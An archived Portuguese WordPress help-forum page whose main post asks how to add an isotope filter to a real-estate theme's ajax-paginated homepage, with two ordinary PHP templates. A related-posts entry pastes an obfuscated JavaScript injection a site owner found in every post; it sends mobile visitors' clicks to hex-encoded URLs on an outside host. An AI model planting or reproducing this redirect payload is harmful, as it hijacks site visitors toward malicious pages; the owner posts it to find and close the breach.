Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

pfaustinijr

Adicionar Filtro Ajax onde há Paginação Ajax

Recommended Posts

ERRATA: Adicionar filtro isotope onde há paginação ajax.

Boa tarde pessoal, comprei um tema no themeforest, porém ele é todo feito utilizando os templates do wordpress. Já praticamente finalizei o site, porém eu gostaria de exibir na home, uma função que há em outra página, que é o filtro isotope.

Veja, como o filtro já funciona na página: http://integrae.net.br/imoveis/

Porém, gostaria de adicionar esse filtro, exibindo os imóveis da mesma forma que já é exibido na home: http://integrae.net.br/ (seção IMÓVEIS EM DESTAQUE).

Veja abaixo, como é o template da página "IMÓVEIS":

<?php
get_header();
?>
    <!-- Page Head -->
    <?php get_template_part("banners/gallery_page_banner"); ?>

    <!-- Content -->
    <div class="container contents listing-grid-layout">
        <div class="row">
            <div class="span12 main-wrap">

                <!-- Main Content -->
                <div class="main">

                    <section class="listing-layout">

                        <?php
                        $title_display = get_post_meta( $post->ID, 'REAL_HOMES_page_title_display', true );
                        if( $title_display != 'hide' ){
                            ?>
                            <h3 class="title-heading"><?php the_title(); ?></h3>
                            <?php
                        }
                        ?>

                        <!-- Gallery Filter -->
                        <div id="filter-by" class="clearfix">
                            <a href="#" data-filter="gallery-item" class="active"><?php _e('All', 'framework'); ?></a><?php
                            $status_terms = get_terms( array( 'taxonomy' => 'property-status' ) );
                            if ( !empty($status_terms) && is_array($status_terms) )
                            {
                                foreach ($status_terms as $status_term)
                                {
                                    echo '<a href="' . get_term_link( $status_term->slug, $status_term->taxonomy ) . '" data-filter="'.$status_term->slug.'" title="' . sprintf(__('View all Properties having %s status', 'framework'), $status_term->name) . '">' . $status_term->name . '</a>';
                                }
                            }
                            ?>
                        </div>

                        <!-- Gallery Container -->
                        <div id="gallery-container">
                            <div class="<?php global $gallery_name; echo esc_attr( $gallery_name ); ?> isotope clearfix">
                                <?php
                                // Basic Gallery Query
                                $query_args = array(
                                    'post_type' => 'property',
                                    'posts_per_page' => -1
                                );

                                // Gallery Query and Start of Loop
                                $gallery_query = new WP_Query( $query_args );
                                while ( $gallery_query->have_posts() ) :
                                    $gallery_query->the_post();

                                    // Getting list of property status terms
                                    $term_list = '';
                                    $terms =  get_the_terms( $post->ID, 'property-status' );
                                    if ( !empty($terms) && !is_wp_error( $terms ) ) :
                                        foreach( $terms as $term )
                                        {
                                            $term_list .= $term->slug;
                                            $term_list .= ' ';
                                        }
                                    endif;

                                    if(has_post_thumbnail()):
                                        ?>
                                        <div <?php post_class("gallery-item isotope-item $term_list"); ?> >
                                            <?php
                                            $image_id = get_post_thumbnail_id();
                                            $full_image_url = wp_get_attachment_url($image_id);
                                            global $gallery_image_size;
                                            $featured_image = wp_get_attachment_image_src( $image_id, $gallery_image_size );
                                            ?>
                                            <figure>
                                                <div class="media_container">
                                                    <a class="<?php echo get_lightbox_plugin_class(); ?> zoom" <?php echo generate_gallery_attribute(); ?> href="<?php echo esc_url( $full_image_url ); ?>" title="<?php the_title(); ?>"></a>
                                                    <a class="link" href="<?php the_permalink(); ?>"></a>
                                                </div>
                                                <?php echo '<img class="img-border" src="'.$featured_image[0].'" alt="'.get_the_title().'">'; ?>
                                            </figure>
                                            <h5 class="item-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title();?></a></h5>
                                            <time class="updated hide" datetime="<?php the_modified_time('c'); ?>"><?php the_modified_time('M d, Y'); ?></time>
                                            <span class="vcard hide">
                                                <?php
                                                printf( '<a class="url fn" href="%1$s" title="%2$s" rel="author">%3$s</a>',
                                                    esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
                                                    esc_attr( sprintf( __( 'View all posts by %s', 'framework' ), get_the_author() ) ),
                                                    get_the_author()
                                                );
                                                ?>
                                            </span>
                                        </div>
                                        <?php
                                    endif;

                                endwhile;
                                ?>
                            </div>
                        </div>
                        <!-- end of gallery container -->

                    </section>

                </div><!-- End Main Content -->

            </div> <!-- End span12 -->

        </div><!-- End contents row -->

    </div><!-- End Content -->

<?php get_footer(); ?>

Veja abaixo, como é o template do conteúdo da página "HOME":

<?php
/**
 * Template: `Homepage Properties`
 *
 * @since  2.6.3
 */

?>

<div class="container">

    <div class="row">

        <div class="span12">

            <div class="main">

                <section id="home-properties-section" class="property-items <?php if( 'true' == get_option('theme_ajax_pagination_home') ) { echo 'ajax-pagination'; } ?>">

                    <?php get_template_part( 'template-parts/home-slogan' ); // Homepage Slogan ?>

                    <div id="home-properties-section-wrapper">

                        <div id="home-properties-section-inner">

                            <div id="home-properties-wrapper">

                                <div id="home-properties" class="property-items-container clearfix">
                                    <?php
                                    /* List of Properties on Homepage */
                                    $number_of_properties = intval( get_option('theme_properties_on_home') );
                                    if(!$number_of_properties){
                                        $number_of_properties = 4;
                                    }

                                    if ( is_front_page()  ) {
                                        $paged = (get_query_var('page')) ? get_query_var('page') : 1;
                                    }

                                    $home_args = array(
                                        'post_type' => 'property',
                                        'posts_per_page' => $number_of_properties,
                                        'paged' => $paged
                                    );

                                    /* Modify home query arguments based on theme options - related filters resides in functions.php */
                                    $home_args = apply_filters( 'real_homes_homepage_properties', $home_args );

                                    /* Sort Properties Based on Theme Option Selection */
                                    $sorty_by = get_option('theme_sorty_by');
                                    if ( ! empty( $sorty_by ) ) {
                                        if ( $sorty_by == 'low-to-high' ) {
                                            $home_args[ 'orderby' ]  = 'meta_value_num';
                                            $home_args[ 'meta_key' ] = 'REAL_HOMES_property_price';
                                            $home_args[ 'order' ]    = 'ASC';
                                        } elseif ( $sorty_by == 'high-to-low' ) {
                                            $home_args[ 'orderby' ]  = 'meta_value_num';
                                            $home_args[ 'meta_key' ] = 'REAL_HOMES_property_price';
                                            $home_args[ 'order' ]    = 'DESC';
                                        } elseif ( $sorty_by == 'random' ) {
                                            $home_args[ 'orderby' ] = 'rand';
                                        }
                                    }
                                    $home_properties_query = new WP_Query( $home_args );

                                    /* Homepage Properties Loop */
                                    if ( $home_properties_query->have_posts() ) :

                                        $post_count = 0;

                                        while ( $home_properties_query->have_posts() ) :

                                            $home_properties_query->the_post();

                                            /* Display Property for Home Page */
                                            get_template_part('template-parts/property-for-home');

                                            /* To output clearfix after every 2 properties */
                                            $post_count++;
                                            if( 0 == ( $post_count % 2 ) ){
                                                echo '<div class="clearfix"></div>';
                                            }

                                        endwhile;

                                    else:
                                        ?>
                                        <div class="alert-wrapper">
                                            <h4><?php _e('No Properties Found!', 'framework') ?></h4>
                                        </div>
                                        <?php
                                    endif;
                                    ?>

                                </div><!-- end of #home-properties -->

                            </div><!-- end of #home-properties-wrapper -->

                            <div class="svg-loader">
                                <img src="<?php echo get_template_directory_uri(); ?>/images/loading-bars.svg" width="32" height="32">
                            </div>

                            <?php
                            if( 'true' == get_option('theme_ajax_pagination_home') ) {
                                theme_ajax_pagination( $home_properties_query->max_num_pages);
                            } else {
                                theme_pagination( $home_properties_query->max_num_pages);
                            }
                            ?>
                        </div><!-- end of #home-properties-section-inner -->

                    </div><!-- end of #home-properties-section-wrapper -->

                    <?php wp_reset_query(); ?>

                </section>

            </div>
            <!-- /.main -->

        </div>
        <!-- /.span12 -->

    </div>
    <!-- /.row -->

</div>
<!-- /.container -->

Alguém poderia me ajudar nisso?

Compartilhar este post


Link para o post
Compartilhar em outros sites

  • Conteúdo Similar

    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por Chirlison
      Estou com um problema no site e gostaria da ajuda dos colegas para poder solucionar a possível brecha de segurança no site.
      Todas as postagens do site apareceram com um código estranho no final de cada uma delas.
      O código é mostrado apenas dentro do editor classic do wordpress. Na página onde o post é listado o código não é mostrado
      Abaixo segue o código inserido no final de cada uma das postagens do site.
       
      <script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x4d\x4f\x4f\x39\x63\x35','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x75\x6d\x52\x38\x63\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x52\x4a\x51\x35\x63\x37','8SJGLkz','random','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6a\x71\x4a\x31\x63\x38','7196643rGaMMg','setItem','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x7a\x65\x4f\x32\x63\x30','266801SrzfpD','substr','floor','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x65\x57\x65\x34\x63\x35','3ThLcDl','stopPropagation','_blank','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6e\x65\x56\x33\x63\x38','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x71\x66\x69\x30\x63\x35'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6b\x4a\x72\x36\x63\x37','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x52\x74\x75\x37\x63\x39',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>  
      Por favor, alguém sabe como esse código pode ter sido inserido por um invasor para que eu possa fechar a possível brecha no código?
      O site foi desenvolvido utilizano wordpress.
      Desde já agradeço a todos que puderem ou tentarem me ajudar a descobrir o que pode ter acontecido.
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.